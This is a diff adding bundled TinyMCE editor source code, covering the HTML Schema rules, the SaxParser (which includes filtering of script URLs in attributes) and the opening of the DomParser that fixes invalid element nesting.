+							for (key in globalAttributes) {
+								attributes[key] = globalAttributes[key];
+							}
+
+							attributesOrder.push.apply(attributesOrder, globalAttributesOrder);
+						}
+
+						// Attributes defined
+						if (attrData) {
+							attrData = split(attrData, '|');
+							for (ai = 0, al = attrData.length; ai < al; ai++) {
+								matches = attrRuleRegExp.exec(attrData[ai]);
+								if (matches) {
+									attr = {};
+									attrType = matches[1];
+									attrName = matches[2].replace(/::/g, ':');
+									prefix = matches[3];
+									value = matches[4];
+
+									// Required
+									if (attrType === '!') {
+										element.attributesRequired = element.attributesRequired || [];
+										element.attributesRequired.push(attrName);
+										attr.required = true;
+									}
+
+									// Denied from global
+									if (attrType === '-') {
+										delete attributes[attrName];
+										attributesOrder.splice(inArray(attributesOrder, attrName), 1);
+										continue;
+									}
+
+									// Default value
+									if (prefix) {
+										// Default value
+										if (prefix === '=') {
+											element.attributesDefault = element.attributesDefault || [];
+											element.attributesDefault.push({name: attrName, value: value});
+											attr.defaultValue = value;
+										}
+
+										// Forced value
+										if (prefix === ':') {
+											element.attributesForced = element.attributesForced || [];
+											element.attributesForced.push({name: attrName, value: value});
+											attr.forcedValue = value;
+										}
+
+										// Required values
+										if (prefix === '<') {
+											attr.validValues = makeMap(value, '?');
+										}
+									}
+
+									// Check for attribute patterns
+									if (hasPatternsRegExp.test(attrName)) {
+										element.attributePatterns = element.attributePatterns || [];
+										attr.pattern = patternToRegExp(attrName);
+										element.attributePatterns.push(attr);
+									} else {
+										// Add attribute to order list if it doesn't already exist
+										if (!attributes[attrName]) {
+											attributesOrder.push(attrName);
+										}
+
+										attributes[attrName] = attr;
+									}
+								}
+							}
+						}
+
+						// Global rule, store away these for later usage
+						if (!globalAttributes && elementName == '@') {
+							globalAttributes = attributes;
+							globalAttributesOrder = attributesOrder;
+						}
+
+						// Handle substitute elements such as b/strong
+						if (outputName) {
+							element.outputName = elementName;
+							elements[outputName] = element;
+						}
+
+						// Add pattern or exact element
+						if (hasPatternsRegExp.test(elementName)) {
+							element.pattern = patternToRegExp(elementName);
+							patternElements.push(element);
+						} else {
+							elements[elementName] = element;
+						}
+					}
+				}
+			}
+		}
+
+		function setValidElements(validElements) {
+			elements = {};
+			patternElements = [];
+
+			addValidElements(validElements);
+
+			each(schemaItems, function(element, name) {
+				children[name] = element.children;
+			});
+		}
+
+		// Adds custom non HTML elements to the schema
+		function addCustomElements(customElements) {
+			var customElementRegExp = /^(~)?(.+)$/;
+
+			if (customElements) {
+				// Flush cached items since we are altering the default maps
+				mapCache.text_block_elements = mapCache.block_elements = null;
+
+				each(split(customElements, ','), function(rule) {
+					var matches = customElementRegExp.exec(rule),
+						inline = matches[1] === '~',
+						cloneName = inline ? 'span' : 'div',
+						name = matches[2];
+
+					children[name] = children[cloneName];
+					customElementsMap[name] = cloneName;
+
+					// If it's not marked as inline then add it to valid block elements
+					if (!inline) {
+						blockElementsMap[name.toUpperCase()] = {};
+						blockElementsMap[name] = {};
+					}
+
+					// Add elements clone if needed
+					if (!elements[name]) {
+						var customRule = elements[cloneName];
+
+						customRule = extend({}, customRule);
+						delete customRule.removeEmptyAttrs;
+						delete customRule.removeEmpty;
+
+						elements[name] = customRule;
+					}
+
+					// Add custom elements at span/div positions
+					each(children, function(element, elmName) {
+						if (element[cloneName]) {
+							children[elmName] = element = extend({}, children[elmName]);
+							element[name] = element[cloneName];
+						}
+					});
+				});
+			}
+		}
+
+		// Adds valid children to the schema object
+		function addValidChildren(validChildren) {
+			var childRuleRegExp = /^([+\-]?)(\w+)\[([^\]]+)\]$/;
+
+			if (validChildren) {
+				each(split(validChildren, ','), function(rule) {
+					var matches = childRuleRegExp.exec(rule), parent, prefix;
+
+					if (matches) {
+						prefix = matches[1];
+
+						// Add/remove items from default
+						if (prefix) {
+							parent = children[matches[2]];
+						} else {
+							parent = children[matches[2]] = {'#comment': {}};
+						}
+
+						parent = children[matches[2]];
+
+						each(split(matches[3], '|'), function(child) {
+							if (prefix === '-') {
+								// Clone the element before we delete
+								// things in it to not mess up default schemas
+								children[matches[2]] = parent = extend({}, children[matches[2]]);
+
+								delete parent[child];
+							} else {
+								parent[child] = {};
+							}
+						});
+					}
+				});
+			}
+		}
+
+		function getElementRule(name) {
+			var element = elements[name], i;
+
+			// Exact match found
+			if (element) {
+				return element;
+			}
+
+			// No exact match then try the patterns
+			i = patternElements.length;
+			while (i--) {
+				element = patternElements[i];
+
+				if (element.pattern.test(name)) {
+					return element;
+				}
+			}
+		}
+
+		if (!settings.valid_elements) {
+			// No valid elements defined then clone the elements from the schema spec
+			each(schemaItems, function(element, name) {
+				elements[name] = {
+					attributes: element.attributes,
+					attributesOrder: element.attributesOrder
+				};
+
+				children[name] = element.children;
+			});
+
+			// Switch these on HTML4
+			if (settings.schema != "html5") {
+				each(split('strong/b em/i'), function(item) {
+					item = split(item, '/');
+					elements[item[1]].outputName = item[0];
+				});
+			}
+
+			// Add default alt attribute for images
+			elements.img.attributesDefault = [{name: 'alt', value: ''}];
+
+			// Remove these if they are empty by default
+			each(split('ol ul sub sup blockquote span font a table tbody tr strong em b i'), function(name) {
+				if (elements[name]) {
+					elements[name].removeEmpty = true;
+				}
+			});
+
+			// Padd these by default
+			each(split('p h1 h2 h3 h4 h5 h6 th td pre div address caption'), function(name) {
+				elements[name].paddEmpty = true;
+			});
+
+			// Remove these if they have no attributes
+			each(split('span'), function(name) {
+				elements[name].removeEmptyAttrs = true;
+			});
+
+			// Remove these by default
+			// TODO: Reenable in 4.1
+			/*each(split('script style'), function(name) {
+				delete elements[name];
+			});*/
+		} else {
+			setValidElements(settings.valid_elements);
+		}
+
+		addCustomElements(settings.custom_elements);
+		addValidChildren(settings.valid_children);
+		addValidElements(settings.extended_valid_elements);
+
+		// Todo: Remove this when we fix list handling to be valid
+		addValidChildren('+ol[ul|ol],+ul[ul|ol]');
+
+		// Delete invalid elements
+		if (settings.invalid_elements) {
+			each(explode(settings.invalid_elements), function(item) {
+				if (elements[item]) {
+					delete elements[item];
+				}
+			});
+		}
+
+		// If the user didn't allow span only allow internal spans
+		if (!getElementRule('span')) {
+			addValidElements('span[!data-mce-type|*]');
+		}
+
+		/**
+		 * Name/value map object with valid parents and children to those parents.
+		 *
+		 * @example
+		 * children = {
+		 *    div:{p:{}, h1:{}}
+		 * };
+		 * @field children
+		 * @type Object
+		 */
+		self.children = children;
+
+		/**
+		 * Name/value map object with valid styles for each element.
+		 *
+		 * @method getValidStyles
+		 * @type Object
+		 */
+		self.getValidStyles = function() {
+			return validStyles;
+		};
+
+		/**
+		 * Name/value map object with valid styles for each element.
+		 *
+		 * @method getInvalidStyles
+		 * @type Object
+		 */
+		self.getInvalidStyles = function() {
+			return invalidStyles;
+		};
+
+		/**
+		 * Name/value map object with valid classes for each element.
+		 *
+		 * @method getValidClasses
+		 * @type Object
+		 */
+		self.getValidClasses = function() {
+			return validClasses;
+		};
+
+		/**
+		 * Returns a map with boolean attributes.
+		 *
+		 * @method getBoolAttrs
+		 * @return {Object} Name/value lookup map for boolean attributes.
+		 */
+		self.getBoolAttrs = function() {
+			return boolAttrMap;
+		};
+
+		/**
+		 * Returns a map with block elements.
+		 *
+		 * @method getBlockElements
+		 * @return {Object} Name/value lookup map for block elements.
+		 */
+		self.getBlockElements = function() {
+			return blockElementsMap;
+		};
+
+		/**
+		 * Returns a map with text block elements. Such as: p,h1-h6,div,address
+		 *
+		 * @method getTextBlockElements
+		 * @return {Object} Name/value lookup map for block elements.
+		 */
+		self.getTextBlockElements = function() {
+			return textBlockElementsMap;
+		};
+
+		/**
+		 * Returns a map of inline text format nodes for example strong/span or ins.
+		 *
+		 * @method getTextInlineElements
+		 * @return {Object} Name/value lookup map for text format elements.
+		 */
+		self.getTextInlineElements = function() {
+			return textInlineElementsMap;
+		};
+
+		/**
+		 * Returns a map with short ended elements such as BR or IMG.
+		 *
+		 * @method getShortEndedElements
+		 * @return {Object} Name/value lookup map for short ended elements.
+		 */
+		self.getShortEndedElements = function() {
+			return shortEndedElementsMap;
+		};
+
+		/**
+		 * Returns a map with self closing tags such as <li>.
+		 *
+		 * @method getSelfClosingElements
+		 * @return {Object} Name/value lookup map for self closing tags elements.
+		 */
+		self.getSelfClosingElements = function() {
+			return selfClosingElementsMap;
+		};
+
+		/**
+		 * Returns a map with elements that should be treated as contents regardless if it has text
+		 * content in them or not such as TD, VIDEO or IMG.
+		 *
+		 * @method getNonEmptyElements
+		 * @return {Object} Name/value lookup map for non empty elements.
+		 */
+		self.getNonEmptyElements = function() {
+			return nonEmptyElementsMap;
+		};
+
+		/**
+		 * Returns a map with elements where white space is to be preserved like PRE or SCRIPT.
+		 *
+		 * @method getWhiteSpaceElements
+		 * @return {Object} Name/value lookup map for white space elements.
+		 */
+		self.getWhiteSpaceElements = function() {
+			return whiteSpaceElementsMap;
+		};
+
+		/**
+		 * Returns a map with special elements. These are elements that needs to be parsed
+		 * in a special way such as script, style, textarea etc. The map object values
+		 * are regexps used to find the end of the element.
+		 *
+		 * @method getSpecialElements
+		 * @return {Object} Name/value lookup map for special elements.
+		 */
+		self.getSpecialElements = function() {
+			return specialElements;
+		};
+
+		/**
+		 * Returns true/false if the specified element and it's child is valid or not
+		 * according to the schema.
+		 *
+		 * @method isValidChild
+		 * @param {String} name Element name to check for.
+		 * @param {String} child Element child to verify.
+		 * @return {Boolean} True/false if the element is a valid child of the specified parent.
+		 */
+		self.isValidChild = function(name, child) {
+			var parent = children[name];
+
+			return !!(parent && parent[child]);
+		};
+
+		/**
+		 * Returns true/false if the specified element name and optional attribute is
+		 * valid according to the schema.
+		 *
+		 * @method isValid
+		 * @param {String} name Name of element to check.
+		 * @param {String} attr Optional attribute name to check for.
+		 * @return {Boolean} True/false if the element and attribute is valid.
+		 */
+		self.isValid = function(name, attr) {
+			var attrPatterns, i, rule = getElementRule(name);
+
+			// Check if it's a valid element
+			if (rule) {
+				if (attr) {
+					// Check if attribute name exists
+					if (rule.attributes[attr]) {
+						return true;
+					}
+
+					// Check if attribute matches a regexp pattern
+					attrPatterns = rule.attributePatterns;
+					if (attrPatterns) {
+						i = attrPatterns.length;
+						while (i--) {
+							if (attrPatterns[i].pattern.test(name)) {
+								return true;
+							}
+						}
+					}
+				} else {
+					return true;
+				}
+			}
+
+			// No match
+			return false;
+		};
+
+		/**
+		 * Returns true/false if the specified element is valid or not
+		 * according to the schema.
+		 *
+		 * @method getElementRule
+		 * @param {String} name Element name to check for.
+		 * @return {Object} Element object or undefined if the element isn't valid.
+		 */
+		self.getElementRule = getElementRule;
+
+		/**
+		 * Returns an map object of all custom elements.
+		 *
+		 * @method getCustomElements
+		 * @return {Object} Name/value map object of all custom elements.
+		 */
+		self.getCustomElements = function() {
+			return customElementsMap;
+		};
+
+		/**
+		 * Parses a valid elements string and adds it to the schema. The valid elements
+		 * format is for example "element[attr=default|otherattr]".
+		 * Existing rules will be replaced with the ones specified, so this extends the schema.
+		 *
+		 * @method addValidElements
+		 * @param {String} valid_elements String in the valid elements format to be parsed.
+		 */
+		self.addValidElements = addValidElements;
+
+		/**
+		 * Parses a valid elements string and sets it to the schema. The valid elements
+		 * format is for example "element[attr=default|otherattr]".
+		 * Existing rules will be replaced with the ones specified, so this extends the schema.
+		 *
+		 * @method setValidElements
+		 * @param {String} valid_elements String in the valid elements format to be parsed.
+		 */
+		self.setValidElements = setValidElements;
+
+		/**
+		 * Adds custom non HTML elements to the schema.
+		 *
+		 * @method addCustomElements
+		 * @param {String} custom_elements Comma separated list of custom elements to add.
+		 */
+		self.addCustomElements = addCustomElements;
+
+		/**
+		 * Parses a valid children string and adds them to the schema structure. The valid children
+		 * format is for example: "element[child1|child2]".
+		 *
+		 * @method addValidChildren
+		 * @param {String} valid_children Valid children elements string to parse
+		 */
+		self.addValidChildren = addValidChildren;
+
+		self.elements = elements;
+	};
+});
+
+// Included from: js/tinymce/classes/html/SaxParser.js
+
+/**
+ * SaxParser.js
+ *
+ * Copyright, Moxiecode Systems AB
+ * Released under LGPL License.
+ *
+ * License: http://www.tinymce.com/license
+ * Contributing: http://www.tinymce.com/contributing
+ */
+
+/*eslint max-depth:[2, 9] */
+
+/**
+ * This class parses HTML code using pure JavaScript and executes various events for each item it finds. It will
+ * always execute the events in the right order for tag soup code like <b><p></b></p>. It will also remove elements
+ * and attributes that doesn't fit the schema if the validate setting is enabled.
+ *
+ * @example
+ * var parser = new tinymce.html.SaxParser({
+ *     validate: true,
+ *
+ *     comment: function(text) {
+ *         console.log('Comment:', text);
+ *     },
+ *
+ *     cdata: function(text) {
+ *         console.log('CDATA:', text);
+ *     },
+ *
+ *     text: function(text, raw) {
+ *         console.log('Text:', text, 'Raw:', raw);
+ *     },
+ *
+ *     start: function(name, attrs, empty) {
+ *         console.log('Start:', name, attrs, empty);
+ *     },
+ *
+ *     end: function(name) {
+ *         console.log('End:', name);
+ *     },
+ *
+ *     pi: function(name, text) {
+ *         console.log('PI:', name, text);
+ *     },
+ *
+ *     doctype: function(text) {
+ *         console.log('DocType:', text);
+ *     }
+ * }, schema);
+ * @class tinymce.html.SaxParser
+ * @version 3.4
+ */
+define("tinymce/html/SaxParser", [
+	"tinymce/html/Schema",
+	"tinymce/html/Entities",
+	"tinymce/util/Tools"
+], function(Schema, Entities, Tools) {
+	var each = Tools.each;
+
+	/**
+	 * Returns the index of the end tag for a specific start tag. This can be
+	 * used to skip all children of a parent element from being processed.
+	 *
+	 * @private
+	 * @method findEndTag
+	 * @param {tinymce.html.Schema} schema Schema instance to use to match short ended elements.
+	 * @param {String} html HTML string to find the end tag in.
+	 * @param {Number} startIndex Indext to start searching at should be after the start tag.
+	 * @return {Number} Index of the end tag.
+	 */
+	function findEndTag(schema, html, startIndex) {
+		var count = 1, index, matches, tokenRegExp, shortEndedElements;
+
+		shortEndedElements = schema.getShortEndedElements();
+		tokenRegExp = /<([!?\/])?([A-Za-z0-9\-_\:\.]+)((?:\s+[^"\'>]+(?:(?:"[^"]*")|(?:\'[^\']*\')|[^>]*))*|\/|\s+)>/g;
+		tokenRegExp.lastIndex = index = startIndex;
+
+		while ((matches = tokenRegExp.exec(html))) {
+			index = tokenRegExp.lastIndex;
+
+			if (matches[1] === '/') { // End element
+				count--;
+			} else if (!matches[1]) { // Start element
+				if (matches[2] in shortEndedElements) {
+					continue;
+				}
+
+				count++;
+			}
+
+			if (count === 0) {
+				break;
+			}
+		}
+
+		return index;
+	}
+
+	/**
+	 * Constructs a new SaxParser instance.
+	 *
+	 * @constructor
+	 * @method SaxParser
+	 * @param {Object} settings Name/value collection of settings. comment, cdata, text, start and end are callbacks.
+	 * @param {tinymce.html.Schema} schema HTML Schema class to use when parsing.
+	 */
+	function SaxParser(settings, schema) {
+		var self = this;
+
+		function noop() {}
+
+		settings = settings || {};
+		self.schema = schema = schema || new Schema();
+
+		if (settings.fix_self_closing !== false) {
+			settings.fix_self_closing = true;
+		}
+
+		// Add handler functions from settings and setup default handlers
+		each('comment cdata text start end pi doctype'.split(' '), function(name) {
+			if (name) {
+				self[name] = settings[name] || noop;
+			}
+		});
+
+		/**
+		 * Parses the specified HTML string and executes the callbacks for each item it finds.
+		 *
+		 * @example
+		 * new SaxParser({...}).parse('<b>text</b>');
+		 * @method parse
+		 * @param {String} html Html string to sax parse.
+		 */
+		self.parse = function(html) {
+			var self = this, matches, index = 0, value, endRegExp, stack = [], attrList, i, text, name;
+			var isInternalElement, removeInternalElements, shortEndedElements, fillAttrsMap, isShortEnded;
+			var validate, elementRule, isValidElement, attr, attribsValue, validAttributesMap, validAttributePatterns;
+			var attributesRequired, attributesDefault, attributesForced;
+			var anyAttributesRequired, selfClosing, tokenRegExp, attrRegExp, specialElements, attrValue, idCount = 0;
+			var decode = Entities.decode, fixSelfClosing, filteredUrlAttrs = Tools.makeMap('src,href,data,background,formaction,poster');
+			var scriptUriRegExp = /((java|vb)script|mhtml):/i, dataUriRegExp = /^data:/i;
+
+			function processEndTag(name) {
+				var pos, i;
+
+				// Find position of parent of the same type
+				pos = stack.length;
+				while (pos--) {
+					if (stack[pos].name === name) {
+						break;
+					}
+				}
+
+				// Found parent
+				if (pos >= 0) {
+					// Close all the open elements
+					for (i = stack.length - 1; i >= pos; i--) {
+						name = stack[i];
+
+						if (name.valid) {
+							self.end(name.name);
+						}
+					}
+
+					// Remove the open elements from the stack
+					stack.length = pos;
+				}
+			}
+
+			function parseAttribute(match, name, value, val2, val3) {
+				var attrRule, i, trimRegExp = /[\s\u0000-\u001F]+/g;
+
+				name = name.toLowerCase();
+				value = name in fillAttrsMap ? name : decode(value || val2 || val3 || ''); // Handle boolean attribute than value attribute
+
+				// Validate name and value pass through all data- attributes
+				if (validate && !isInternalElement && name.indexOf('data-') !== 0) {
+					attrRule = validAttributesMap[name];
+
+					// Find rule by pattern matching
+					if (!attrRule && validAttributePatterns) {
+						i = validAttributePatterns.length;
+						while (i--) {
+							attrRule = validAttributePatterns[i];
+							if (attrRule.pattern.test(name)) {
+								break;
+							}
+						}
+
+						// No rule matched
+						if (i === -1) {
+							attrRule = null;
+						}
+					}
+
+					// No attribute rule found
+					if (!attrRule) {
+						return;
+					}
+
+					// Validate value
+					if (attrRule.validValues && !(value in attrRule.validValues)) {
+						return;
+					}
+				}
+
+				// Block any javascript: urls or non image data uris
+				if (filteredUrlAttrs[name] && !settings.allow_script_urls) {
+					var uri = value.replace(trimRegExp, '');
+
+					try {
+						// Might throw malformed URI sequence
+						uri = decodeURIComponent(uri);
+					} catch (ex) {
+						// Fallback to non UTF-8 decoder
+						uri = unescape(uri);
+					}
+
+					if (scriptUriRegExp.test(uri)) {
+						return;
+					}
+
+					if (!settings.allow_html_data_urls && dataUriRegExp.test(uri) && !/^data:image\//i.test(uri)) {
+						return;
+					}
+				}
+
+				// Add attribute to list and map
+				attrList.map[name] = value;
+				attrList.push({
+					name: name,
+					value: value
+				});
+			}
+
+			// Precompile RegExps and map objects
+			tokenRegExp = new RegExp('<(?:' +
+				'(?:!--([\\w\\W]*?)-->)|' + // Comment
+				'(?:!\\[CDATA\\[([\\w\\W]*?)\\]\\]>)|' + // CDATA
+				'(?:!DOCTYPE([\\w\\W]*?)>)|' + // DOCTYPE
+				'(?:\\?([^\\s\\/<>]+) ?([\\w\\W]*?)[?/]>)|' + // PI
+				'(?:\\/([^>]+)>)|' + // End element
+				'(?:([A-Za-z0-9\\-_\\:\\.]+)((?:\\s+[^"\'>]+(?:(?:"[^"]*")|(?:\'[^\']*\')|[^>]*))*|\\/|\\s+)>)' + // Start element
+			')', 'g');
+
+			attrRegExp = /([\w:\-]+)(?:\s*=\s*(?:(?:\"((?:[^\"])*)\")|(?:\'((?:[^\'])*)\')|([^>\s]+)))?/g;
+
+			// Setup lookup tables for empty elements and boolean attributes
+			shortEndedElements = schema.getShortEndedElements();
+			selfClosing = settings.self_closing_elements || schema.getSelfClosingElements();
+			fillAttrsMap = schema.getBoolAttrs();
+			validate = settings.validate;
+			removeInternalElements = settings.remove_internals;
+			fixSelfClosing = settings.fix_self_closing;
+			specialElements = schema.getSpecialElements();
+
+			while ((matches = tokenRegExp.exec(html))) {
+				// Text
+				if (index < matches.index) {
+					self.text(decode(html.substr(index, matches.index - index)));
+				}
+
+				if ((value = matches[6])) { // End element
+					value = value.toLowerCase();
+
+					// IE will add a ":" in front of elements it doesn't understand like custom elements or HTML5 elements
+					if (value.charAt(0) === ':') {
+						value = value.substr(1);
+					}
+
+					processEndTag(value);
+				} else if ((value = matches[7])) { // Start element
+					value = value.toLowerCase();
+
+					// IE will add a ":" in front of elements it doesn't understand like custom elements or HTML5 elements
+					if (value.charAt(0) === ':') {
+						value = value.substr(1);
+					}
+
+					isShortEnded = value in shortEndedElements;
+
+					// Is self closing tag for example an <li> after an open <li>
+					if (fixSelfClosing && selfClosing[value] && stack.length > 0 && stack[stack.length - 1].name === value) {
+						processEndTag(value);
+					}
+
+					// Validate element
+					if (!validate || (elementRule = schema.getElementRule(value))) {
+						isValidElement = true;
+
+						// Grab attributes map and patters when validation is enabled
+						if (validate) {
+							validAttributesMap = elementRule.attributes;
+							validAttributePatterns = elementRule.attributePatterns;
+						}
+
+						// Parse attributes
+						if ((attribsValue = matches[8])) {
+							isInternalElement = attribsValue.indexOf('data-mce-type') !== -1; // Check if the element is an internal element
+
+							// If the element has internal attributes then remove it if we are told to do so
+							if (isInternalElement && removeInternalElements) {
+								isValidElement = false;
+							}
+
+							attrList = [];
+							attrList.map = {};
+
+							attribsValue.replace(attrRegExp, parseAttribute);
+						} else {
+							attrList = [];
+							attrList.map = {};
+						}
+
+						// Process attributes if validation is enabled
+						if (validate && !isInternalElement) {
+							attributesRequired = elementRule.attributesRequired;
+							attributesDefault = elementRule.attributesDefault;
+							attributesForced = elementRule.attributesForced;
+							anyAttributesRequired = elementRule.removeEmptyAttrs;
+
+							// Check if any attribute exists
+							if (anyAttributesRequired && !attrList.length) {
+								isValidElement = false;
+							}
+
+							// Handle forced attributes
+							if (attributesForced) {
+								i = attributesForced.length;
+								while (i--) {
+									attr = attributesForced[i];
+									name = attr.name;
+									attrValue = attr.value;
+
+									if (attrValue === '{$uid}') {
+										attrValue = 'mce_' + idCount++;
+									}
+
+									attrList.map[name] = attrValue;
+									attrList.push({name: name, value: attrValue});
+								}
+							}
+
+							// Handle default attributes
+							if (attributesDefault) {
+								i = attributesDefault.length;
+								while (i--) {
+									attr = attributesDefault[i];
+									name = attr.name;
+
+									if (!(name in attrList.map)) {
+										attrValue = attr.value;
+
+										if (attrValue === '{$uid}') {
+											attrValue = 'mce_' + idCount++;
+										}
+
+										attrList.map[name] = attrValue;
+										attrList.push({name: name, value: attrValue});
+									}
+								}
+							}
+
+							// Handle required attributes
+							if (attributesRequired) {
+								i = attributesRequired.length;
+								while (i--) {
+									if (attributesRequired[i] in attrList.map) {
+										break;
+									}
+								}
+
+								// None of the required attributes where found
+								if (i === -1) {
+									isValidElement = false;
+								}
+							}
+
+							// Invalidate element if it's marked as bogus
+							if ((attr = attrList.map['data-mce-bogus'])) {
+								if (attr === 'all') {
+									index = findEndTag(schema, html, tokenRegExp.lastIndex);
+									tokenRegExp.lastIndex = index;
+									continue;
+								}
+
+								isValidElement = false;
+							}
+						}
+
+						if (isValidElement) {
+							self.start(value, attrList, isShortEnded);
+						}
+					} else {
+						isValidElement = false;
+					}
+
+					// Treat script, noscript and style a bit different since they may include code that looks like elements
+					if ((endRegExp = specialElements[value])) {
+						endRegExp.lastIndex = index = matches.index + matches[0].length;
+
+						if ((matches = endRegExp.exec(html))) {
+							if (isValidElement) {
+								text = html.substr(index, matches.index - index);
+							}
+
+							index = matches.index + matches[0].length;
+						} else {
+							text = html.substr(index);
+							index = html.length;
+						}
+
+						if (isValidElement) {
+							if (text.length > 0) {
+								self.text(text, true);
+							}
+
+							self.end(value);
+						}
+
+						tokenRegExp.lastIndex = index;
+						continue;
+					}
+
+					// Push value on to stack
+					if (!isShortEnded) {
+						if (!attribsValue || attribsValue.indexOf('/') != attribsValue.length - 1) {
+							stack.push({name: value, valid: isValidElement});
+						} else if (isValidElement) {
+							self.end(value);
+						}
+					}
+				} else if ((value = matches[1])) { // Comment
+					// Padd comment value to avoid browsers from parsing invalid comments as HTML
+					if (value.charAt(0) === '>') {
+						value = ' ' + value;
+					}
+
+					if (!settings.allow_conditional_comments && value.substr(0, 3) === '[if') {
+						value = ' ' + value;
+					}
+
+					self.comment(value);
+				} else if ((value = matches[2])) { // CDATA
+					self.cdata(value);
+				} else if ((value = matches[3])) { // DOCTYPE
+					self.doctype(value);
+				} else if ((value = matches[4])) { // PI
+					self.pi(value, matches[5]);
+				}
+
+				index = matches.index + matches[0].length;
+			}
+
+			// Text
+			if (index < html.length) {
+				self.text(decode(html.substr(index)));
+			}
+
+			// Close any open elements
+			for (i = stack.length - 1; i >= 0; i--) {
+				value = stack[i];
+
+				if (value.valid) {
+					self.end(value.name);
+				}
+			}
+		};
+	}
+
+	SaxParser.findEndTag = findEndTag;
+
+	return SaxParser;
+});
+
+// Included from: js/tinymce/classes/html/DomParser.js
+
+/**
+ * DomParser.js
+ *
+ * Copyright, Moxiecode Systems AB
+ * Released under LGPL License.
+ *
+ * License: http://www.tinymce.com/license
+ * Contributing: http://www.tinymce.com/contributing
+ */
+
+/**
+ * This class parses HTML code into a DOM like structure of nodes it will remove redundant whitespace and make
+ * sure that the node tree is valid according to the specified schema.
+ * So for example: <p>a<p>b</p>c</p> will become <p>a</p><p>b</p><p>c</p>
+ *
+ * @example
+ * var parser = new tinymce.html.DomParser({validate: true}, schema);
+ * var rootNode = parser.parse('<h1>content</h1>');
+ *
+ * @class tinymce.html.DomParser
+ * @version 3.4
+ */
+define("tinymce/html/DomParser", [
+	"tinymce/html/Node",
+	"tinymce/html/Schema",
+	"tinymce/html/SaxParser",
+	"tinymce/util/Tools"
+], function(Node, Schema, SaxParser, Tools) {
+	var makeMap = Tools.makeMap, each = Tools.each, explode = Tools.explode, extend = Tools.extend;
+
+	/**
+	 * Constructs a new DomParser instance.
+	 *
+	 * @constructor
+	 * @method DomParser
+	 * @param {Object} settings Name/value collection of settings. comment, cdata, text, start and end are callbacks.
+	 * @param {tinymce.html.Schema} schema HTML Schema class to use when parsing.
+	 */
+	return function(settings, schema) {
+		var self = this, nodeFilters = {}, attributeFilters = [], matchedNodes = {}, matchedAttributes = {};
+
+		settings = settings || {};
+		settings.validate = "validate" in settings ? settings.validate : true;
+		settings.root_name = settings.root_name || 'body';
+		self.schema = schema = schema || new Schema();
+
+		function fixInvalidChildren(nodes) {
+			var ni, node, parent, parents, newParent, currentNode, tempNode, childNode, i;
+			var nonEmptyElements, nonSplitableElements, textBlockElements, sibling, nextNode;
+
+			nonSplitableElements = makeMap('tr,td,th,tbody,thead,tfoot,table');
+			nonEmptyElements = schema.getNonEmptyElements();
+			textBlockElements = schema.getTextBlockElements();
+
+			for (ni = 0; ni < nodes.length; ni++) {
+				node = nodes[ni];
+
+				// Already removed or fixed
+				if (!node.parent || node.fixed) {
+					continue;
+				}
+
+				// If the invalid element is a text block and the text block is within a parent LI element
+				// Then unwrap the first text block and convert other sibling text blocks to LI elements similar to Word/Open Office
+				if (textBlockElements[node.name] && node.parent.name == 'li') {
+					// Move sibling text blocks after LI element
+					sibling = node.next;
+					while (sibling) {
+						if (textBlockElements[sibling.name]) {
+							sibling.name = 'li';
+							sibling.fixed = true;
+							node.parent.insert(sibling, node.parent);
+						} else {
+							break;
+						}
+
+						sibling = sibling.next;
+					}
+
+					// Unwrap current text block
+					node.unwrap(node);
+					continue;
+				}
+
+				// Get list of all parent nodes until we find a valid parent to stick the child into
+				parents = [node];
+				for (parent = node.parent; parent && !schema.isValidChild(parent.name, node.name) &&
+					!nonSplitableElements[parent.name]; parent = parent.parent) {
+					parents.push(parent);
+				}
+
+				// Found a suitable parent
+				if (parent && parents.length > 1) {
+					// Reverse the array since it makes looping easier
+					parents.reverse();
+
+					// Clone the related parent and insert that after the moved node
+					newParent = currentNode = self.filterNode(parents[0].clone());
+
+					// Start cloning and moving children on the left side of the target node
+					for (i = 0; i < parents.length - 1; i++) {
+						if (schema.isValidChild(currentNode.name, parents[i].name)) {
+							tempNode = self.filterNode(parents[i].clone());
+							currentNode.append(tempNode);
+						} else {
+							tempNode = currentNode;
+						}
+
+						for (childNode = parents[i].firstChild; childNode && childNode != parents[i + 1];) {
+							nextNode = childNode.next;
+							tempNode.append(childNode);
+							childNode = nextNode;
+						}
+
+						currentNode = tempNode;
+					}
+
+					if (!newParent.isEmpty(nonEmptyElements)) {
+						parent.insert(newParent, parents[0], true);
+						parent.insert(node, newParent);
+					} else {
+						parent.insert(node, parents[0], true);
+					}
+
+					// Check if the element is empty by looking through it's contents and special treatment for <p><br /></p>
+					parent = parents[0];
+					if (parent.isEmpty(nonEmptyElements) || parent.firstChild === parent.lastChild && parent.firstChild.name === 'br') {
+						parent.empty().remove();
+					}
+				} else if (node.parent) {
+					// If it's an LI try to find a UL/OL for it or wrap it
+					if (node.name === 'li') {
+						sibling = node.prev;
+						if (sibling && (sibling.name === 'ul' || sibling.name === 'ul')) {
+							sibling.append(node);
+							continue;
+						}
+
+						sibling = node.next;
+						if (sibling && (sibling.name === 'ul' || sibling.name === 'ul')) {
+							sibling.insert(node, sibling.firstChild, true);
+							continue;
+						}
+
+						node.wrap(self.filterNode(new Node('ul', 1)));
+						continue;
+					}
+
+					// Try wrapping the element in a DIV
+					if (schema.isValidChild(node.parent.name, 'div') && schema.isValidChild('div', node.name)) {
+						node.wrap(self.filterNode(new Node('div', 1)));
+					} else {
+						// We failed wrapping it, then remove or unwrap it
+						if (node.name === 'style' || node.name === 'script') {
+							node.empty().remove();
+						} else {
+							node.unwrap();
+						}
+					}
+				}
+			}
+		}
+
+		/**
+		 * Runs the specified node though the element and attributes filters.
+		 *
+		 * @method filterNode
+		 * @param {tinymce.html.Node} Node the node to run filters on.
+		 * @return {tinymce.html.Node} The passed in node.
+		 */
+		self.filterNode = function(node) {
+			var i, name, list;
+
+			// Run element filters
+			if (name in nodeFilters) {
+				list = matchedNodes[name];
+
+				if (list) {
+					list.push(node);
+				} else {
+					matchedNodes[name] = [node];
+				}
+			}
+
+			// Run attribute filters
+			i = attributeFilters.length;
+			while (i--) {
+				name = attributeFilters[i].name;
+
+				if (name in node.attributes.map) {
+					list = matchedAttributes[name];
+
+					if (list) {
+						list.push(node);
+					} else {
+						matchedAttributes[name] = [node];
+					}
+				}
+			}
+
+			return node;
+		};
+
+		/**
+		 * Adds a node filter function to the parser, the parser will collect the specified nodes by name
+		 * and then execute the callback ones it has finished parsing the document.
+		 *
+		 * @example
+		 * parser.addNodeFilter('p,h1', function(nodes, name) {
+		 *		for (var i = 0; i < nodes.length; i++) {
+		 *			console.log(nodes[i].name);
